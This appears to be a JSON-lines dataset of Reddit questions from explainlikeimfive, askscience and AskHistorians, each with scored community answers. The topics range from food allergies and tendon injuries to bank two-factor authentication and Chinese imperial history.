{"q_id": "1p4kl7", "title": "why have humans evolved to only be required to consume such a small percentage of their body weight daily relative to some other animals on earth?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p4kl7/eli5_why_have_humans_evolved_to_only_be_required/", "answers": {"a_id": ["ccynxis", "ccyo0no", "ccyo68o", "ccysx88", "ccyzcnf"], "score": [36, 16, 6, 12, 2], "text": ["We tend to eat relatively high-calorie diets, with our focus on grains and other carbohydrates. We also cook our food, which makes it easier to get at the calories. By comparison, a lot of plant-eaters have to chew, swallow, partially digest, regurgitate, and re-chew their food to get the maximum out of it, nutritionally. Another way of doing the same thing is to just eat a huge amount of food, and process it quickly.", "Even the most active human is relatively inactive compared to other animals. We grow quite slowly, we go hours without moving, we sleep 1/3 of the day, we don't need to eat constantly to regain burnt calories because we're not burning them.\n\nPlus, a lot of our food is very refined and domesticated, so the nutrients are readily available. An animal will need to eat a lot more weeds and roughage than farmed rice and beans to get the same nutrition out of it.", "The same reason you LOVE the taste of sugary and fatty foods. Humans have evolved to eat a small amount of very high energy food - like others have said, we even go to great lengths to cook it first so it takes less energy to digest. Fats and sugars are very dense in terms of energy, as are most of the other carbohydrates we eat - think about your favourite foods and you'll probably admit they're sugary and/or fatty.\n\nModern humans eat even less because we don't have to go out and catch the pig or grow the sugar cane ourselves. We generally don't really do a lot so we don't need to eat a lot.", "The most simple answer is because otherwise, we would've gone extinct, and we nearly did. \n\nOur large brains do require high calorie diets. Fortunately, our ancestors figured out how to use tools to get at goodies; like a stick in a termite hill, or using rocks to smash bones that large predators left behind to reveal delicious bone marrow. Our digestive systems evolved to eat most anything - plant or animal. \n\nThe types of things we have in our diet, meats, eggs, and other high protein items, makes it so we can eat less food. \n\nIt's theorized that part of the reason why human ancestor began to walk upright is to help conserve energy. \n\nAll that being said, the question is somewhat a misnomer. \n\nAn adult African elephant weighing 15,000 pounds will only eat about 600 pounds of food per day. That 4% of body weight. \n\nAn adult lion weighing 550 pounds eats about 10 pounds of food per day, that comes to 1.8 percent. \n\nThe average weight of an adult male human is 195 pounds. The average male consumes five pounds of food per day. That's around 2.5 percent of body weight.  ", "Some animals (like [moose](_URL_1_), at 10%) that consume \"x percentage of their body weight\" in food are eating foods that aren't nutritionally dense. Others (like [hummingbirds](_URL_0_), at over 100%) are consuming nutritionally dense/available foods, but have an extremely high metabolic rate and output.\n\nMost humans consume nutritionally dense foods and have relatively low metabolic rate/output, thus food consumed as a percentage of body weight is low. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Hummingbird#Metabolism", "http://en.wikipedia.org/wiki/Moose#Diet"]]}
{"q_id": "7bt48w", "title": "why are we conscious about our decisions while most animals are not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7bt48w/eli5_why_are_we_conscious_about_our_decisions/", "answers": {"a_id": ["dpkjv9y", "dpkjwij"], "score": [20, 2], "text": ["That's quite a complex question, and a loaded one at that.\n\nFirstly, I'm not sure I quite agree with the premise that most animals are not conscious (even about their decisions).  Some animals are able to pass [mirror tests](_URL_0_), which involve reasoning (the animal is given time to get to understand what a mirror *does*, then gets something drawn on them in a place where they can not see it directly.  Some animals go straight to the mirror to check.)  \n\nEven tiny animals, like the [Portia spider](_URL_1_) can exhibit complex intelligence.  As an example, this spider is known to have a look at its target, and then take a complex 3D detour of the branches, which leads it to attack its victim from a completely different angle - one that is much more suited to attack.  \n\nAs another example, dogs are able to determine the optimal point at which to dive into a lake, if they have to fetch a stick thrown sideways (i.e. not in a straight line).  Crows can accomplish ridiculously complex things, and they seem to learn and use their skills deliberately.  We can say I'm cherry picking examples, but other, less well known animals are also pretty intelligent - e.g. there was a video of what looked like a sparrow opening supermarket doors by hovering near the motion sensor (seemingly knowing full well what they do).\n\nIntelligence is highly useful for survival.  Humans aren't the only animals to have high levels of intelligence, though we seem to have reached some kind of critical point, where our intelligence could run away with it.  This is essentially the story of civilisation, and if I had to guess, I'd say it has a lot to do with our relatively good combination of brains, vocal cords, and adaptive hands.  These allowed for the development of complex language, then writing (which allows knowledge to be shared much more broadly and over long periods of time).\n\nAs an interesting comparison / thought exercise, read up on feral children, who are those rare cases where children grow up without human contact.  In general, once the advantages of past generations' knowledge, early education, and highly optimal development are taken away, we're not all that different in intelligence to other animals.\n\n\n\n", "Don't assume things unless you understand the context. Animals do make conscious decisions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Mirror_test", "https://en.wikipedia.org/wiki/Portia_(spider)#Intelligence"], []]}
{"q_id": "41ufn0", "title": "why does your \"mousehand\" get cold while the rest of your body has a normal temperature ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/41ufn0/eli5_why_does_your_mousehand_get_cold_while_the/", "answers": {"a_id": ["cz56fu6", "cz5p9f3"], "score": [23, 2], "text": ["Because you don't move it much, the blood flow to that extremity is reduced and it feels colder. If your desk is cold, that conducts the heart away as well. \n\nPs: I'm writing this in the doctors waiting room to get a nerve conduction study done on my mouse hand. 35 years of computer use has taken it's toll. Get a good mouse and wrist rest and use them if you want to use your fingers later in life! ", "In addition to what was already mentioned, also because your hand and arm is up and away from your body, and probably exposed directly to the air around you.\n\nGenerally speaking, your rest your mouse hand on the mouse and keep it there pretty continuously, this probably keeps your arm up and away from your body as well.  Your other hand is probably at your side, in your lap, resting on your belly... or, you know, somewhere in that area...\n\nSince your hand is out away from your body, and likely your arm is away from your torso as well, you have all the skin on your entire arm and hand as a radiator to lose heat from.  The other parts of your body have a reduced surface area exposed to colder air, so do not lose as much heat.  Adding some clothing to cover your arm or hand (long sleeve shirts, fingerless gloves, etc.) can go a good way to keeping your hand from feeling cold."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9rjzin", "title": "why is it we want commitments, but when we get them we often have urges to quit them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9rjzin/eli5_why_is_it_we_want_commitments_but_when_we/", "answers": {"a_id": ["e8hizpv", "e8ho9t8"], "score": [26, 3], "text": ["Oh, that's because we don't want employment. We want the paycheck. And we don't want to workout, we want the good physique and endorphins that make us feel good. What we're after is the reward, and we wish we didn't have to work for it. It was never our intention to be stuck doing something to get it (whether work or workout). But it is what it is. ", "We don't like being uncomfortable. We naturally seek out rewards or payoff, because that feels better and makes our brains happier. The journey or growth that it takes to get those rewards is uncomfortable (sometimes painful), which our brains don't really like. Although I think it's possible to train our brains to get used to discomfort/growth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "36u08q", "title": "why are old jugs or bottles of liquor commonly shown labeled with three x's?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36u08q/eli5_why_are_old_jugs_or_bottles_of_liquor/", "answers": {"a_id": ["crh2ew4", "crh2f9u"], "score": [8, 10], "text": ["If I remember correctly, the Xs were to show how many times the moonshine had been run through the still. 3 meant it was triple distilled, meaning it had a very high ABV", "It's typically a numbering system for jugs of moonshine- the number of Xs is the number of times the mixture was runn through the still before being bottled- XXX indicates it was run through 3 times, which means the moonshine inside is pure alcohol. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2z0nnj", "title": "why are so many people allergic to soy and peanuts, but no other legumes?", "selftext": "Soy and peanuts are both legumes that are considered a \"Top 8\" allergy. Why are so many people allergic to these two legumes, but not other legumes?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2z0nnj/eli5_why_are_so_many_people_allergic_to_soy_and/", "answers": {"a_id": ["cpen63i", "cpeo7iw", "cpeoinz", "cpepfv7", "cpeply8", "cpeq7s7", "cpermff", "cpestev", "cpexnf9", "cpeyvrp", "cpezw0v", "cpf7gkz", "cpfaap2"], "score": [43, 358, 4, 71, 9, 16, 5, 2, 32, 2, 2, 2, 2], "text": ["It may not be true that so many people are allergic to peanuts, it may just be so commonly reported by the media that we think it's a bigger problem than it actually is.  \n \n \nFrom _URL_0_\n\n > \n > \n > The increased focus on peanut allergies in the medical community, the media and society in general combined to push changes like peanut bans in schools, Waggoner said.\n\n > \n > \n >  \"All of this was happening at about the same time to produce this big societal problem that is based on what is a small problem in terms of the population affected,\" Waggoner said. **\"One physician has written that the same number of people die each year from peanut allergies as from lightning strikes, yet the perception of peanut allergy risk has invaded the common social spaces we all inhabit** \u2014 airlines, day cares and schools.\" \n\n...\n\n > \n > \n > Several factors make it difficult to assess the prevalence of peanut allergies or whether the problem is becoming more common, Waggoner said. Before the 1990s, little data were collected on peanut allergies. **And peanut allergy numbers are generally based on self-reporting, which leaves them open to interpretation and influence by increased media attention**.\n\n\nI suspect that the number of people who claim to have celiac disease is also over-reported for the same reason but that's just my personal hunch.\n \n \nThe same article also says:\n \n > Another unknown is the cause of peanut allergies, Waggoner said, adding that researchers are using genetic and molecular testing in the search for a cause.\n\n", "There was a great study recently reported on peanut allergies. There has been a recent bump in peanut allergies; a bump apparently caused by well meaning parents attempting to protect their kids from peanut allergies. It turns our that if you don't expose your infant to peanut protein at a young age there is a greater chance of him or her developing peanut allergies as they age.  So peanut allergy awareness and parents attempting to be responsible is increasing peanut allergy incidence.\n\nI'm at work so I can't easily reference it, but there was a good nytimes article on this within the last couple of weeks.", "There was one summer where every day I ate boiled peanuts (lived in Georgia at the time) and then the next summer I couldn't eat them anymore without having itchy swollen eyes, palms, and throat. \n\nI did some research and most of the peanut allergies are from overexposure, which would explain it in my case. \n\nEdit: Alton Brown also mentioned this in the good eats episode on Peanuts ", "I don't know why. But it is real. \n\nMy son has the allergy. He tested positive for it at age three (we were tracing a milk allergy at the time and discovered his peanut reaction in a skin test.)\n\nAt Christmas when he turned five, he ate a peanut butter cookie that a neighbor brought over in a tin for the holidays.\n\nWe realized what had happened, but sort of hoped that the reaction wasn't going to happen, as the allergist said there was only one way to really find out, and he didn't recommend it. That was basically what was happening now. We tried to stay neutral and just hope that nothing happened.\n\nAfter about 10 minutes his eyed turned red, as if he were having a typical allergy. I played some video games with him to keep our minds off of it. After 30 minutes, he threw up. Then he started scratching and developing hives all over his neck. By 45 minute his nose was stuffed up, the hives had spread from his neck down to his chest, and he was starting to sound congested. \n\nWe gave him some Benadryl. At this point we got out his epinephrine shot.We lied to him, and said it wouldn't hurt and then jabbed him. He was not happy about that. We then drove to the hospital.\n\nBy the time we got to the ER he was having trouble breathing. The ER staff was very calm and did not seem to rush or feel there was an excessive emergency.  There only real concern was that we had driven 10 minutes to the ER rather than calling an ambulance. They explained that the Epinephrine shot causes a rise in heart rate and that we should have waited for an ambulance that could handle heart rate related issues.\n\nThey evaluated him and gave him more Benadryl. The hives spread some more so they gave him some steroids of some kind. \n\nBy this time he was scratching all over his body and complaining about wheezing and trouble breathing. But the ER staff seemed confident that the steroids would work. After the second dose, the hives started to die down and his breathing improved.\n\nApparently, his next exposure to peanuts will be worse.\n\nI've read all of the research on this topic, including claims of hysteria, which I find highly insulting. It serves to negate or deny a very real problem. \n\nUnfortunately, the science at this time as to why the issue is increasingly prevalent is not clear.\n\nAs a professional scientist, I sometimes note that when phenomena exists without an explanation, a denialist branch of research often gains publication. Fortunately, due to the maturity of our scientific process in western civilization, it generally only succeeds for a limited time.\n\nWhile hysteria phenomena is real, and latent superstition contributes to over-estimation by many parents, I can assure the phenomena is real and that those of us who wait for concrete evidence are unfortunately educated through the nature of reality's imposition on our hopes.\n\n", "As a peanut allergy sufferer, I have been told by my allergist that it is more common in people who have asthma. Not sure of the reason for correlation. Ironically, my asthma has improved over the years and my peanut allergy (although still pretty bad) has slightly improved  (skin test reaction diameter down from 5 years ago). Also as an interesting tidbit, my allergist mentioned that people who are allergic to peanuts are also more likely to be allergic to peaches. \n\nAs for the reason of increased incidence of allergy  (allergy awareness ?) I've always had a theory it has to do with lawsuits related to food manufacture. Foods are often processed in the same places as other foods, so your Hershey bar, although nut free, may be processed on the same machine as the almond variety. Cross contamination,  even though it has most likely  always occured, can, in rare instances, cause a reaction in hypersensitive people. To avoid a lawsuit in a sue - happy country,  allergens are required to be listed on the ingredient list,  as are possible contaminants.  Increased awareness =(?)= increased \"incidence\". See:gluten \"allergy/intolerance \"", "My daughter is allergic to peanuts and green beans, and the doctor advised us to keep an eye on her when eating any kind of legume. She gets a little itchy with peas, but doesn't have any other legume sensitivities. I think the reason you may not hear as much about other legume allergies is that they don't tend to be life threatening like peanuts and soy. \n\nEdit: My daughter's peanut allergy is life threatening (anaphylactic), but her green bean allergy is not. She just gets a mild rash from green beans. Not very news-worthy. ", "My understanding from being a somewhat new parent is from what my doctor explained.  She told me it was in fact better to expose your child to pretty much every food that is on the allergy list.  The sooner the better for your child. I think my kid was 8 months when we were told to do this.  The AAAI (American Academy of Ashtma, Allergy, and Immunology) suggests as early as 4 months.\n\nGranted, there are certain foods you cant feed a baby like legumes or shellfish.  Though peanut butter will work (and is hillarious to feed a baby) and crab meat from a can will work. As another redditor commented, parents trying to protect their babies from allergies may increase the likelihood of allergic reactions. ", "Note: Don't know why peanuts are more severe but people are also typically allergic to the others to a lesser degree if they are severely allergic to peanuts. ", "No one is completely certain, because we don't know what causes allergy in the first place. However, allergenic proteins typically have a molecular weight that falls in a certain range. They are also often something called lipid transfer or seed storage proteins - proteins that are selected by nature for hardiness. This is important because proteins that break down in stomach acid are far less likely to cause systemic reactions. \n\nDifferent people can be sensitized to different proteins within a food, or even different \"hot spots\" on the protein itself. Peanut, for instance, has several allergenic proteins. The Ara h 2 protein is the one that is most often associated with severe reactions, but others can cause reactions as well. Interestingly, where you grow up has a large impact on which proteins you may become allergic to. For example, in the U.S., peanut is the most common, but rice protein allergy is more common in Japan.\n\nThe legume family does share a few common proteins, mostly related to plant reproduction. If you are allergic to one of these proteins, you may have allergies that encompass a wider range of legumes. \n\nFinally, the thinking about development of allergies at the moment is that a child has to be *genetically vulnerable*, *environmentally vulnerable* and *sensitized*. Each of these three things happen independently of the other. \n\nAbout 30% of the population is *atopic* (prone to allergy) so the genetic component is the least important in predicting a food allergy (although twins do share allergies at a higher rate than siblings). No one is sure what the environmental factors are that predispose children to allergy, but one of the areas being explored at the moment is how children are colonized by gut bacteria. Kids who don't get the right mix of bacteria at birth, or who lose their healthy bacteria to things like antibiotics, may be more susceptible to developing a food allergy. \n\nFinally, a child has to be *sensitized*, or exposed to the protein in a way that the body interprets as a pathogen and not a food. There are again a lot of theories on how and why this happens, but it may be that being sensitized through the skin or lungs (by things like house dust or topical creams) may introduce a problematic protein. \n\nSomeone here mentioned the LEAP study. It's a little misleading to interpret that study as \"introducing peanuts early prevents food allergies.\" The more correct way to look at it is that if you get a protein into the body before the body has had time to develop the negative environmental factors (whatever they turn out to be), the body is less likely to become sensitized. However, there were children who were disqualified from the study up front because they were *already* allergic. While it's good to know that introducing proteins more quickly is the right path, we also need to figure out the factors that lead to allergy in the first place and fix them. \n\nSorry this is not really an ELI5 answer, but it's a complicated question.", "Americans seem to be particularly susceptible to these kinds of health issues.  Peanut allergies, and others, are not reported much elsewhere.  Why?  It may be that some people are born allergic to peanuts (and other nuts, and other things, as well).  Not much you can do about that.  On the other hand, I had never heard of a single child having a peanut allergy in my entire life (67 years) until about the last decade or so.  This doesn't prove, but does suggest that these allergies are more a recent phenomenon, and that may suggest environmental rather than genetic causes.  Perhaps a highly stressed, polluted environment is the cause?  Perhaps makers of nuts are treating them with chemicals (and not telling us?)  Or perhaps it has something to do with the way we raise our children which allows them to be susceptible? \n\nAmerican parenting has changed a great deal over the last fifty years or so.  Once upon a time, children were free to roam at will, eat what they wanted, go to school, and live their lives.  Not anymore.  It's rare to see children out playing anymore.  Parents are very anxious about every little thing in their little darlings' lives, who they play with, where they go, their grades in school (my parents didn't care much as long as I got \"decent\" grades), what they eat, and so forth.  I grew up in middle class suburbia and was free as a bird.  Today, no child can survive into adulthood without every nuance of his life being regulated.  \n\nWith the concern over allergies we've seen in recent years (triggered by what earlier events I don't know?), parents have been keeping their children from eating many foods -- and also keeping them off the streets, and so forth.  This has the effect of not introducing children to many things, including bacteria, viruses, allergies at an early age which children were once routinely exposed to.  I think this has played an important role in the spread of these allergies, and the recently published medical conclusions supports this in noting that most kids who are exposed to peanuts very early in life are much less likely to develop allergies to peanuts later in life. \n\nSo is it today's dainty, worried, \"helicopter\" parents who have caused peanut allergies?  Probably not. Probably the origin is in other parts of our environment.  But who really knows?  But certainly protecting your kids from every possible problem as relentlessly as today's parents do seems to be a factor in the spread of these allergies.  So I'm guessing that once the allergies among a very, very small number of children became publicized, millions of doting Moms and Dads swooped into action, throwing away all products with peanuts in them.  Result?  Lots more kids who have never been exposed to peanuts, and therefore some kids with allergies to peanuts.  \n\n\n\n", "Actually when you are allergic to soy or peanuts you also tend to be allergic to the other types of legumes. ", "Because other legumes aren't fashionable. \"My son has Great Northern allergies.\" It just doesn't really work, does it?", "I'm not a scientist, so I can only speak about my own experience.  I am hyper-allergic to peanuts, to the point where if I'm in a room with them for more than a few minutes I'll start having an anaphylactic reaction.  I'm also allergic to green peas, chick peas, and lentils, but to a lesser degree. (I can be around them, but ingesting them or handling them extensively will put me in the hospital.) However, soy doesn't bother me.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.princeton.edu/main/news/archive/S37/46/79G28/"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "1ghnn4", "title": "What kind of research is being done for repetitive stress injuries?", "selftext": "In my experience dealing with my own issues, it seems modern medicine still has a lot of difficulty diagnosing and treating chronic repetitive strain to tendons and connective tissue. Are there new approaches being developed, or are we at a wall in terms of treatment options?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ghnn4/what_kind_of_research_is_being_done_for/", "answers": {"a_id": ["cam2peg"], "score": [2], "text": ["What an awesome question :) This being my field of research not withstanding, of course. I'll use two examples I'm intimately familiar with to illustrate the current issues in the field, patellar tendinopathy and groin pain.\n\nTendinopathies were first thought to be inflammatory conditions and were thus called tendinitis. It was then illustrated that past the acute phase, there were no inflammatory processes. It was then called a tendinopathy. Going one step further, it is called tendinosis when it is recongnized that it is a degenerative process. \n\nThe previous methods of dealing with this during the \"inflammatory\" theory period were anti-inflammatory therapies. NSAIDS and passive modalities aimed at decreasing inflammation. These are of course ineffective since the basic premise, inflammation is false.\n\nNow, under the degenerative process model, it is recognzied that controlled loading of the tendon is a reasonable strategy. [See this paper by Jill Cook, a prominent research in tendinopathies](_URL_0_)\n\nA similar process was recognized in the achilles tendon as well. A doctor named Alfredson (as the word-of-mouth goes) suffered achilles tendinopathy and wanted his fellow orthopedic surgeons to operate on him. They allegedly refused and he decided to attempt to tear his own tendon, forcing them to repair it. Thus the Alfredson protocol for achilles tendinopathies was born, as instead of tearing his tendon he got relief from his symptoms. [The protocol](_URL_2_) has been tested multiple times and is effective, but extreme.\n\nThe same protocol was then tested for patellar tendinopathies and also proved effective in that area, done with heels elevated, a slow eccentric quarter squat, 3x15 reps twice daily every day of the week.\n\nA few years ago, a team from Denmark figured that using solid exercise science could be useful. So they tested the Alfredson protocol against a three/week heavy slow resistance loading protocol. The heavy slow resistance protocol was designed to eliminate peak loading on the tendon on the switch between eccentric/concentric and allowed rest days in between loading days. \n\n[That method](_URL_3_) proved more or less equally successful but is much less invasive.\n\nThere is much research missing from this discussion that I haven't cited. Stuff like tendon dialysis and more research on what happens in tendons, but the relevant points of how the research has progressed in that field is mostly there.\n\nSo in the tendinopathy field, there have basically only a handful of protocols been tested but in the clinic-level practice there is much gray area for individualization. Along side there is research on risk factors and biomechanical contributions to the problem. All in all, there is very much known about patellar and achilles tendinopathies.\n\nGroin pain, on the other hand, is another very common overuse injury. Just like patellar tendinopathies were first considered to be inflammatory, now some researchers have theorized that groin pain is a tendinopathy as well. Many researchers in the area have thus used interventions based on limited research and selected patients, for example [this paper by Holmich](_URL_1_). \n\nThere are currently no effective treatment options, and there are no theories yet that can explain the different presentations and patient populations. That field is therefore pretty much anyone's guess currently. Consequently, the treatment options are limited like the tendinopathy treatment options when tendinopathy was considered inflammatory.\n\nDoes this walloftext answer your question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://bjsm.bmj.com/content/43/6/409.long", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2658954/", "http://www.ncbi.nlm.nih.gov/pubmed/9617396", "http://www.ncbi.nlm.nih.gov/pubmed/19793213"]]}
{"q_id": "1y1lyg", "title": "so if flappy bird got taken down off the app store and the creator wants nothing to do with it, how come there is still advertisement in the game?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1y1lyg/eli5_so_if_flappy_bird_got_taken_down_off_the_app/", "answers": {"a_id": ["cfgjuz4", "cfgjv5i", "cfgnben", "cfgspjp", "cfgswy7"], "score": [14, 31, 15, 11, 5], "text": ["because he didn't change the game code.  He just took it down.  Were there not adds in the game before it was taken down?", "To remove advertising from the game involves changing the code for the game. If he wants nothing to do with the app, he probably just walked away from the code without changing it.", "Because he still makes money on the ads...", "I read an insightful comment on why this was a smart move for him. Basically what he did means:\n\n1 There was a last minute rush of installations since this was all over news feeds and people who hadn't tried the game downloaded it since it was being taken away.\n2 Now he doesn't have to continue to support the game or even think about it any more\n3 He's better protected from copyright infringement for using elements that look like they were taken from Nintendo\n4 Can still make plenty of money every day from ads on all the existing installs\n\nMaybe that was his motivation, maybe not. Either way it puts him in a good spot.", "the ad is just some code in the game (I would guess google adsense url) unless he closes his adsense account the ads will be there.\n\nso if you are wondering, yes he is still making money from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "4vztiu", "title": "What's with all the water in that recent sinkhole gif?", "selftext": "[The clip I'm referring to](_URL_0_)\n\n1. Where is that water coming from?  \n\n2. Why is the water thrashing around like there's a storm out at sea?\n\nWatching that clip over and over, I just...like my brain can't really grasp a sinkhole with thrashing waves just opening up in a backyard like that.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4vztiu/whats_with_all_the_water_in_that_recent_sinkhole/", "answers": {"a_id": ["d635ih2", "d63gqli"], "score": [5, 5], "text": ["This was a 100 year old, 100 meter deep mineshaft that had been filled (mostly with trash and loose material).  Water had slowly eroded the loose fill from underneath, much like any sinkhole, except this one was man made.  The waves are caused by large chunks of the sinkhole perimeter collapsing in and splashing as they fall.  There is some video of that occurring [here](_URL_0_).", "As /u/ChrisSlicks has mentioned this was apparently a deep mine shaft that had filled in. The movement was caused by the continuous erosion of the edges disturbing the water.\n\nOn a related note, if you dig down to a certain depth you will reach what is called the water table. This is where the soil is fully saturated with ground water. When you dig on a beach eventually your hole will start to fill with water. That is because you have reached the water table depth."]}, "title_urls": [], "selftext_urls": ["https://gfycat.com/SandyGracefulFox"], "answers_urls": [["http://www.dailymail.co.uk/news/article-3720984/Ipswich-sinkhole-appears-elderly-couple-s-backyard.html"], []]}
{"q_id": "3nb8rv", "title": "Why is the western day marked from the middle of the night? Is this universal, or was beginning the day with the normal time of sunrise more common, historically?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3nb8rv/why_is_the_western_day_marked_from_the_middle_of/", "answers": {"a_id": ["cvmiabb", "cvmmwg0"], "score": [3, 2], "text": ["hi, there's room for more on this one, but you may find these interesting\n\n* [Why does a new day start in the middle of the night?](_URL_0_) - featuring /u/itsallfolklore \n\n* [Why do days begin at midnight?](_URL_1_)\n\n* [What event 00:00 (or 24:00) time points to and why?](_URL_2_)", "Thanks to /u/Searocksandtrees for the links. If you have additional questions, please let me know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1prce4/why_does_a_new_day_start_in_the_middle_of_the/", "https://www.reddit.com/r/AskHistorians/comments/1tmsyg/why_do_days_begin_at_midnight/", "https://www.reddit.com/r/AskHistorians/comments/1wjcuh/what_event_0000_or_2400_time_points_to_and_why/"], []]}
{"q_id": "3cet2i", "title": "Why are K - potassium, and Na - sodium called that in English instead of kalium and natrium?", "selftext": "Most other elements that haven't been around for a long time in peoples' everyday use like copper, gold, iron etc have names corresponding to their symbol in the periodic table of elements and end with an -ium. Why is this not so for K ad Na, but is for elements like lithium, aluminium, strontium etc?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cet2i/why_are_k_potassium_and_na_sodium_called_that_in/", "answers": {"a_id": ["csuvk6t", "csva5nn", "csvb63l"], "score": [195, 4, 15], "text": ["They were named after substances containing those elements - [potash](_URL_0_) and [soda](_URL_1_). Those terms were in use in alchemy before the individual elements were discovered.", "I am learning a lot from these replies but they are also further confirming my feelings on Chemistry: it is like the English language where every rule has multiple exceptions for often archaic and/or traditional and/or bizarre reasons.", "1 - You seem to expect that the symbols reflect their English names. English has been the international language for a very short period, and scientifically never as far as I know. There is almost always a Common name for things and the scientific name. The symbol reflects the scientific name.\n\nOne of your examples is slightly off. Aluminium specifically. This name has gone through many incarnations Aluminum, Alumium, Aluminium to name but 3. The \"discoverer\" first named it Aluminum but that name did not pass muster with the Royal Conservatory for missing the \"ium\" suffix. It was rebranded Alumium initially. Aluminium, which you cite was not the official recognition until as recently as 1990. Suffice it to say these things are in constant flux."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Potash", "https://en.wikipedia.org/wiki/Sodium_hydroxide"], [], []]}
{"q_id": "1zws1p", "title": "why can i use 2-factor authentication with gmail and even facebook, but not with my banks?", "selftext": "I know some banks can sell you physical hardware dongles, but why have none (that I, living in the U.S., know of) implemented convenient 2-factor authentication via text/Authy if even Facebook can manage to implement it? I care much more about somebody gaining unauthorized access to my bank account than to my Facebook profile.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zws1p/eli5_why_can_i_use_2factor_authentication_with/", "answers": {"a_id": ["cfxqacl", "cfxr5ul", "cfxsd6s", "cfxt1u4"], "score": [4, 10, 2, 3], "text": ["Two possible reasons:\n\n1) Security. Everything in a bank is about security, and your personal email may not be that secure. Besides that, transfers with enough money (\"enough\" depends on circumstances) will be investigated in more depth.\n\n2) Technology. Banks lag behind by about 10-20 years, so other industries test everything out for them and they know exactly what to expect.", "Tech support burden. Some customers can barely handle passwords alone. Requiring a second password from an authenticator app or SMS will lead to a lot of customer help calls.", "My bank uses card readers.\nYou need to have the card physically, and you need to know the PIN. Works perfectly.\n\nYour bank probably doesn't wish to invest in required infrastructure.", "My bank requires a password and a SMS code for important things like transferring money. It depends on the bank"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2zt0pa", "title": "I heard someone recently say, \"China has not ever tried to create an empire through war.\" Is this true? China has never sought to expand their empire through war?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zt0pa/i_heard_someone_recently_say_china_has_not_ever/", "answers": {"a_id": ["cpm0qod", "cpm5z18", "cpm7bgl", "cpmhili", "cpmwl1o"], "score": [1186, 23, 79, 7, 2], "text": ["From the first empire onward, with no exceptions, the Chinese imperial families worked to expand and consolidate their power. The Qin empire was built on Qin state conquest over the other regional states. The Han repeated that process after a brief disintegration, and expanded the imperial reach southward to Vietnam, and westward along the silk road.   \nThe tang are the same, but the early Tang rulers looked even further, attempting to exert control over Tibet, and executing an ultimately futile invasion of Korea.   \nThe northern song period was one of near constant (and almost always falling) attempts at restoring through war the extent of tang regional control. \nThe Mongols pushed further into the southwest than any before, bringing yunnan into the empire for the first time.  \nThe Ming rulers were the first (of two in history) to build the empire from the south upward. All through war. Then they worked to consolidate the patchwork that was south China, bringing millions into the empire who had never tasted imperial control before.   \nThen the Qing - they take the cake, pushing the empire farther to the west than ever before with massive military campaigns. They subjugated all the western territories that are currently under Chinese rule, and maintained military presence in Tibet.    \nIt will come as no surprise that the story of the nationalists and communists is the same.    \nWhat you heard as fact is preposterous. ", "It was said in \"[Why we Fight - The battle of China](_URL_0_) around 5:35. ", "In addition to what people like /u/lukeweiss and /u/youdaracist has said, it could be that the person who made that statement meant to say that China never had a *colonial* empire in the way the European powers did. There were a bunch of [expeditions](_URL_0_) during the Ming dynasty, but they were mainly for diplomatic, trade, and bringing cool shit home to the emperor reasons, not to make land grabs by overpowering the flag-less locals (or compete with European powers) overseas. \n\nBut I think the quote given in the title was worded very carefully to make China look much more benevolent than it actually was. No, they didn't create resource colonies where they chopped off the natives' hands, but they did expand their borders though military victory just like every other self-respecting superpower did. ", "China *is* an empire, by conquest.", "So it is like a bait and switch.  Whomsoever a Chinese conquer becomes labeled as Chinese by the victors, and therefore it is not \"invasion\" because one cannot invade one's self."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/m4Ebv-FzP60"], ["http://en.wikipedia.org/wiki/Treasure_voyages#Goals"], [], []]}
